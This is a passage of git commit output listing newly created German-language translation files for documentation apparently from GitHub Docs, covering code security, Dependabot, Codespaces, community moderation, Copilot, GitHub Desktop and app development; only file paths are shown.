 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/index.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md
 create mode 100644 translations/de-DE/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
 create mode 100644 translations/de-DE/content/code-security/getting-started/github-security-features.md
 create mode 100644 translations/de-DE/content/code-security/getting-started/index.md
 create mode 100644 translations/de-DE/content/code-security/getting-started/securing-your-organization.md
 create mode 100644 translations/de-DE/content/code-security/getting-started/securing-your-repository.md
 create mode 100644 translations/de-DE/content/code-security/guides.md
 create mode 100644 translations/de-DE/content/code-security/index.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/about-secret-scanning.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/index.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md
 create mode 100644 translations/de-DE/content/code-security/secret-scanning/secret-scanning-patterns.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/global-security-advisories/index.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/index.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/index.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md
 create mode 100644 translations/de-DE/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md
 create mode 100644 translations/de-DE/content/code-security/security-overview/about-the-security-overview.md
 create mode 100644 translations/de-DE/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md
 create mode 100644 translations/de-DE/content/code-security/security-overview/index.md
 create mode 100644 translations/de-DE/content/code-security/security-overview/viewing-the-security-overview.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/index.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md
 create mode 100644 translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md
 create mode 100644 translations/de-DE/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
 create mode 100644 translations/de-DE/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/codespaces-reference/index.md
 create mode 100644 translations/de-DE/content/codespaces/codespaces-reference/security-in-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/index.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/renaming-a-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/index.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md
 create mode 100644 translations/de-DE/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
 create mode 100644 translations/de-DE/content/codespaces/getting-started/deep-dive.md
 create mode 100644 translations/de-DE/content/codespaces/getting-started/index.md
 create mode 100644 translations/de-DE/content/codespaces/getting-started/quickstart.md
 create mode 100644 translations/de-DE/content/codespaces/guides.md
 create mode 100644 translations/de-DE/content/codespaces/index.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/index.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md
 create mode 100644 translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-your-codespaces/index.md
 create mode 100644 translations/de-DE/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/overview.md
 create mode 100644 translations/de-DE/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md
 create mode 100644 translations/de-DE/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md
 create mode 100644 translations/de-DE/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md
 create mode 100644 translations/de-DE/content/codespaces/prebuilding-your-codespaces/index.md
 create mode 100644 translations/de-DE/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md
 create mode 100644 translations/de-DE/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/index.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/the-githubdev-web-based-editor.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/github-codespaces-logs.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/index.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/troubleshooting-prebuilds.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md
 create mode 100644 translations/de-DE/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/about-wikis.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/disabling-wikis.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/index.md
 create mode 100644 translations/de-DE/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md
 create mode 100644 translations/de-DE/content/communities/index.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/index.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md
 create mode 100644 translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/index.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/locking-conversations.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md
 create mode 100644 translations/de-DE/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/index.md
 create mode 100644 translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md
 create mode 100644 translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md
 create mode 100644 translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md
 create mode 100644 translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md
 create mode 100644 translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md
 create mode 100644 translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md
 create mode 100644 translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md
 create mode 100644 translations/de-DE/content/copilot/configuring-github-copilot/index.md
 create mode 100644 translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md
 create mode 100644 translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md
 create mode 100644 translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md
 create mode 100644 translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md
 create mode 100644 translations/de-DE/content/copilot/getting-started-with-github-copilot/index.md
 create mode 100644 translations/de-DE/content/copilot/index.md
 create mode 100644 translations/de-DE/content/copilot/overview-of-github-copilot/about-github-copilot.md
 create mode 100644 translations/de-DE/content/copilot/overview-of-github-copilot/index.md
 create mode 100644 translations/de-DE/content/copilot/quickstart.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/index.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/index.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/index.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/index.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md
 create mode 100644 translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/index.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
 create mode 100644 translations/de-DE/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md
 create mode 100644 translations/de-DE/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
 create mode 100644 translations/de-DE/content/developers/apps/building-oauth-apps/index.md
 create mode 100644 translations/de-DE/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/getting-started-with-apps/about-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/getting-started-with-apps/index.md
 create mode 100644 translations/de-DE/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md
 create mode 100644 translations/de-DE/content/developers/apps/guides/index.md
 create mode 100644 translations/de-DE/content/developers/apps/guides/using-content-attachments.md
 create mode 100644 translations/de-DE/content/developers/apps/guides/using-the-github-api-in-your-app.md
 create mode 100644 translations/de-DE/content/developers/apps/index.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/deleting-a-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/index.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/installing-github-apps.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/modifying-a-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-oauth-apps/index.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
 create mode 100644 translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
